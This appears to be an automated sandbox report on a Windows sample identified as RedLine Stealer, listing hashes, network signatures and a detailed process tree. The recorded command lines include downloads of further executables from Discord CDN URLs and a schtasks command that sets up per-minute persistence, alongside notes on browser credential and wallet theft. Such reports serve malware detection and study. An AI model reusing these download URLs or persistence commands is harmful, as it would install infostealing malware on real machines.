Analysis
- max time kernel
131s - max time network
182s - platform
windows7_x64 - resource
win7v20210410 - submitted
31/07/2021, 03:23
Static task
static1
Behavioral task
behavioral1
Sample
08ddca87b625734e0028a89fd4ec7247.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
General
- Target 08ddca87b625734e0028a89fd4ec7247.exe
- Size 98KB
- Sample210731-rynmvce2ts
- SHA256 6da210965cd769856bbcb8bb501abf25c832f0f6a70e73240436629ce6362fa9
- MD5 08ddca87b625734e0028a89fd4ec7247
- SHA1 00f577cfd480bd7527122b4f3a96d1914ca6dd55
- SHA512 d2aabdecd49c087fbf2a070d79d3e6523228451814d5462336459c1200c72cb065a87617b9bb47d28fd9ed4e8706500a978c52f800b0f6422438a6dbba3129ad
- MD5 SHA1 SHA512
Malware Config
Signatures
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- suricata: ET MALWARE Generic gate[.].php GET with minimal headers
- suricata: ET MALWARE Likely Zbot Generic Request to gate.php Dotted-Quad
- suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
- Downloads MZ/PE file
- Executes dropped EXE 15 IoCs
pid Process 964 mine.exe 672 clip.exe 1092 extd.exe 732 extd.exe 1656 extd.exe 1820 extd.exe 1600 extd.exe 908 extd.exe 1832 clo.exe 1576 extd.exe 1992 extd.exe 1888 welldone.exe 1588 clo.exe 968 MicrosoftApi.exe 864 MicrosoftApi.exe -
resource yara_rule behavioral1/files/0x00030000000130d4-78.dat upx behavioral1/files/0x00030000000130d4-77.dat upx behavioral1/files/0x00030000000130d4-80.dat upx behavioral1/files/0x00030000000130d4-76.dat upx behavioral1/files/0x00030000000130d9-83.dat upx behavioral1/files/0x00030000000130d9-85.dat upx behavioral1/files/0x00030000000130d9-84.dat upx behavioral1/files/0x00030000000130d9-87.dat upx behavioral1/files/0x00030000000130d4-90.dat upx behavioral1/files/0x00030000000130d4-92.dat upx behavioral1/files/0x00030000000130d4-89.dat upx behavioral1/files/0x00030000000130d9-95.dat upx behavioral1/files/0x00030000000130d9-94.dat upx behavioral1/files/0x00030000000130d9-97.dat upx behavioral1/files/0x00030000000130d4-100.dat upx behavioral1/files/0x00030000000130d4-99.dat upx behavioral1/files/0x00030000000130d4-102.dat upx behavioral1/files/0x00030000000130d9-104.dat upx behavioral1/files/0x00030000000130d9-105.dat upx behavioral1/files/0x00030000000130d9-107.dat upx behavioral1/files/0x00030000000130d9-112.dat upx behavioral1/files/0x00030000000130d9-113.dat upx behavioral1/files/0x00030000000130d9-115.dat upx behavioral1/files/0x00030000000130d4-119.dat upx behavioral1/files/0x00030000000130d4-122.dat upx behavioral1/files/0x00030000000130d4-120.dat upx - Loads dropped DLL 23 IoCs
pid Process 864 08ddca87b625734e0028a89fd4ec7247.exe 864 08ddca87b625734e0028a89fd4ec7247.exe 864 08ddca87b625734e0028a89fd4ec7247.exe 864 08ddca87b625734e0028a89fd4ec7247.exe 1876 cmd.exe 1876 cmd.exe 1612 cmd.exe 1612 cmd.exe 1876 cmd.exe 1876 cmd.exe 1612 cmd.exe 1612 cmd.exe 1876 cmd.exe 1876 cmd.exe 1612 cmd.exe 1612 cmd.exe 1612 cmd.exe 1612 cmd.exe 1876 cmd.exe 1876 cmd.exe 1876 cmd.exe 1832 clo.exe 1888 welldone.exe - Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1832 set thread context of 1588 1832 clo.exe 48 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1824 schtasks.exe - Delays execution with timeout.exe 1 IoCs
pid Process 1812 timeout.exe - Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 1832 clo.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 864 08ddca87b625734e0028a89fd4ec7247.exe 864 08ddca87b625734e0028a89fd4ec7247.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe 864 MicrosoftApi.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 864 08ddca87b625734e0028a89fd4ec7247.exe Token: SeDebugPrivilege 864 MicrosoftApi.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 864 wrote to memory of 964 864 08ddca87b625734e0028a89fd4ec7247.exe 31 PID 864 wrote to memory of 964 864 08ddca87b625734e0028a89fd4ec7247.exe 31 PID 864 wrote to memory of 964 864 08ddca87b625734e0028a89fd4ec7247.exe 31 PID 864 wrote to memory of 964 864 08ddca87b625734e0028a89fd4ec7247.exe 31 PID 964 wrote to memory of 1876 964 mine.exe 32 PID 964 wrote to memory of 1876 964 mine.exe 32 PID 964 wrote to memory of 1876 964 mine.exe 32 PID 864 wrote to memory of 672 864 08ddca87b625734e0028a89fd4ec7247.exe 33 PID 864 wrote to memory of 672 864 08ddca87b625734e0028a89fd4ec7247.exe 33 PID 864 wrote to memory of 672 864 08ddca87b625734e0028a89fd4ec7247.exe 33 PID 864 wrote to memory of 672 864 08ddca87b625734e0028a89fd4ec7247.exe 33 PID 672 wrote to memory of 1612 672 clip.exe 35 PID 672 wrote to memory of 1612 672 clip.exe 35 PID 672 wrote to memory of 1612 672 clip.exe 35 PID 1876 wrote to memory of 1092 1876 cmd.exe 37 PID 1876 wrote to memory of 1092 1876 cmd.exe 37 PID 1876 wrote to memory of 1092 1876 cmd.exe 37 PID 1612 wrote to memory of 732 1612 cmd.exe 38 PID 1612 wrote to memory of 732 1612 cmd.exe 38 PID 1612 wrote to memory of 732 1612 cmd.exe 38 PID 1876 wrote to memory of 1656 1876 cmd.exe 39 PID 1876 wrote to memory of 1656 1876 cmd.exe 39 PID 1876 wrote to memory of 1656 1876 cmd.exe 39 PID 1612 wrote to memory of 1820 1612 cmd.exe 40 PID 1612 wrote to memory of 1820 1612 cmd.exe 40 PID 1612 wrote to memory of 1820 1612 cmd.exe 40 PID 1876 wrote to memory of 1600 1876 cmd.exe 41 PID 1876 wrote to memory of 1600 1876 cmd.exe 41 PID 1876 wrote to memory of 1600 1876 cmd.exe 41 PID 1612 wrote to memory of 908 1612 cmd.exe 42 PID 1612 wrote to memory of 908 1612 cmd.exe 42 PID 1612 wrote to memory of 908 1612 cmd.exe 42 PID 1612 wrote to memory of 1832 1612 cmd.exe 43 PID 1612 wrote to memory of 1832 1612 cmd.exe 43 PID 1612 wrote to memory of 1832 1612 cmd.exe 43 PID 1612 wrote to memory of 1832 1612 cmd.exe 43 PID 1612 wrote to memory of 1576 1612 cmd.exe 45 PID 1612 wrote to memory of 1576 1612 cmd.exe 45 PID 1612 wrote to memory of 1576 1612 cmd.exe 45 PID 1876 wrote to memory of 1888 1876 cmd.exe 46 PID 1876 wrote to memory of 1888 1876 cmd.exe 46 PID 1876 wrote to memory of 1888 1876 cmd.exe 46 PID 1876 wrote to memory of 1992 1876 cmd.exe 47 PID 1876 wrote to memory of 1992 1876 cmd.exe 47 PID 1876 wrote to memory of 1992 1876 cmd.exe 47 PID 1832 wrote to memory of 1588 1832 clo.exe 48 PID 1832 wrote to memory of 1588 1832 clo.exe 48 PID 1832 wrote to memory of 1588 1832 clo.exe 48 PID 1832 wrote to memory of 1588 1832 clo.exe 48 PID 1832 wrote to memory of 1588 1832 clo.exe 48 PID 1832 wrote to memory of 1588 1832 clo.exe 48 PID 1832 wrote to memory of 1588 1832 clo.exe 48 PID 1832 wrote to memory of 1588 1832 clo.exe 48 PID 1832 wrote to memory of 1588 1832 clo.exe 48 PID 1888 wrote to memory of 968 1888 welldone.exe 49 PID 1888 wrote to memory of 968 1888 welldone.exe 49 PID 1888 wrote to memory of 968 1888 welldone.exe 49 PID 968 wrote to memory of 1368 968 MicrosoftApi.exe 50 PID 968 wrote to memory of 1368 968 MicrosoftApi.exe 50 PID 968 wrote to memory of 1368 968 MicrosoftApi.exe 50 PID 1368 wrote to memory of 1812 1368 cmd.exe 52 PID 1368 wrote to memory of 1812 1368 cmd.exe 52 PID 1368 wrote to memory of 1812 1368 cmd.exe 52 PID 1368 wrote to memory of 1824 1368 cmd.exe 53
Processes
-
C:\Users\Admin\AppData\Local\Temp\08ddca87b625734e0028a89fd4ec7247.exe"C:\Users\Admin\AppData\Local\Temp\08ddca87b625734e0028a89fd4ec7247.exe"1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:864 -
C:\Users\Admin\AppData\Local\Temp\mine.exe"C:\Users\Admin\AppData\Local\Temp\mine.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:964 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\BD85.tmp\BD86.tmp\BD87.bat C:\Users\Admin\AppData\Local\Temp\mine.exe"3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1876 -
C:\Users\Admin\AppData\Local\Temp\BD85.tmp\BD86.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\BD85.tmp\BD86.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""4⤵
- Executes dropped EXE
PID:1092
-
-
C:\Users\Admin\AppData\Local\Temp\BD85.tmp\BD86.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\BD85.tmp\BD86.tmp\extd.exe "/random" "90000009" "" "" "" "" "" "" ""4⤵
- Executes dropped EXE
PID:1656
-
-
C:\Users\Admin\AppData\Local\Temp\BD85.tmp\BD86.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\BD85.tmp\BD86.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/868908533897363470/870626065511501945/welldone.exe" "welldone.exe" "" "" "" "" "" ""4⤵
- Executes dropped EXE
PID:1600
-
-
C:\Users\Admin\AppData\Local\Temp\10252\welldone.exewelldone.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1888 -
C:\Users\Admin\AppData\Roaming\ServiceApi\MicrosoftApi.exe"C:\Users\Admin\AppData\Roaming\ServiceApi\MicrosoftApi.exe"5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:968 -
C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp5F6E.tmp.cmd""6⤵
- Suspicious use of WriteProcessMemory
PID:1368 -
C:\Windows\system32\timeout.exetimeout 47⤵
- Delays execution with timeout.exe
PID:1812
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /f /sc MINUTE /mo 1 /tn "MicrosoftApi" /tr "'C:\Users\Admin\AppData\Roaming\ServiceApi\MicrosoftApi.exe"'7⤵
- Creates scheduled task(s)
PID:1824
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\BD85.tmp\BD86.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\BD85.tmp\BD86.tmp\extd.exe "/sleep" "900000" "" "" "" "" "" "" ""4⤵
- Executes dropped EXE
PID:1992
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\clip.exe"C:\Users\Admin\AppData\Local\Temp\clip.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:672 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\BE50.tmp\BE51.tmp\BE52.bat C:\Users\Admin\AppData\Local\Temp\clip.exe"3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1612 -
C:\Users\Admin\AppData\Local\Temp\BE50.tmp\BE51.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\BE50.tmp\BE51.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""4⤵
- Executes dropped EXE
PID:732
-
-
C:\Users\Admin\AppData\Local\Temp\BE50.tmp\BE51.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\BE50.tmp\BE51.tmp\extd.exe "/random" "90000009" "" "" "" "" "" "" ""4⤵
- Executes dropped EXE
PID:1820
-
-
C:\Users\Admin\AppData\Local\Temp\BE50.tmp\BE51.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\BE50.tmp\BE51.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/868908533897363470/870626071547097128/clo.exe" "clo.exe" "" "" "" "" "" ""4⤵
- Executes dropped EXE
PID:908
-
-
C:\Users\Admin\AppData\Local\Temp\21001\clo.execlo.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of WriteProcessMemory
PID:1832 -
C:\Users\Admin\AppData\Local\Temp\21001\clo.exeC:\Users\Admin\AppData\Local\Temp\21001\clo.exe5⤵
- Executes dropped EXE
PID:1588
-
-
-
C:\Users\Admin\AppData\Local\Temp\BE50.tmp\BE51.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\BE50.tmp\BE51.tmp\extd.exe "/sleep" "900000" "" "" "" "" "" "" ""4⤵
- Executes dropped EXE
PID:1576
-
-
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {EFEA6AED-8947-4C8A-B5D3-53F85C1B1110} S-1-5-21-2513283230-931923277-594887482-1000:MRBKYMNO\Admin:Interactive:[1]1⤵PID:1200
-
C:\Users\Admin\AppData\Roaming\ServiceApi\MicrosoftApi.exeC:\Users\Admin\AppData\Roaming\ServiceApi\MicrosoftApi.exe2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:864
-